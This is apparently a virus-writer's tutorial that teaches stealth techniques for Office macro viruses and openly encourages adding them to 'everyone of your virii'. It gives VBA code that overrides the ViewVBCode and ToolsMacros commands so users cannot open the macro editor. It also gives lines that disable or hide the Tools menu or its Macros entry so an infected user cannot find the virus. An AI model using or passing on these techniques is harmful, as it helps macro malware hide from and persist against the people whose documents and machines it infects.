You should add stealth techniques to everyone of your virii!!
There are the simple stealth techniques and the special stealth techniques, wich
requies a special knowlege! Stealth ain't
stealth in every case! Take a look at the SuperIIS and then take a look at another virus,
SuperIIS has a very advanced
stealth technique, but the code is (with the infection engine, wich is also special) more
than a few hundred lines long!!!!
But let's start with the basic stealth:
Create a new modul and add the following lines:
Sub ViewVBCode()
End Sub
Now try at the Document, to click on tools-macros-VisualBasicEditor.
Huh?, it hasn't worked?? This is because of the macro. Go to the macro, by
tools-macros-create. At the dialog box click on
your new macro and click on the edit button.
The macro, that you must have to lock this could be:
Sub ToolsMacros()
End Sub
Of course there are many of such simple tricks, but these were the mostly used. Take a look at other modul virii and study them.
To kill the whole Tool menu type the following line at your virus:
Application.CommandBars("Tools").Enabled=False
To kill the Tools Macros only:
Application.CommandBars("Tools").Controls(12).Enabled=False 'you can use Visible=False too, to hide this option!!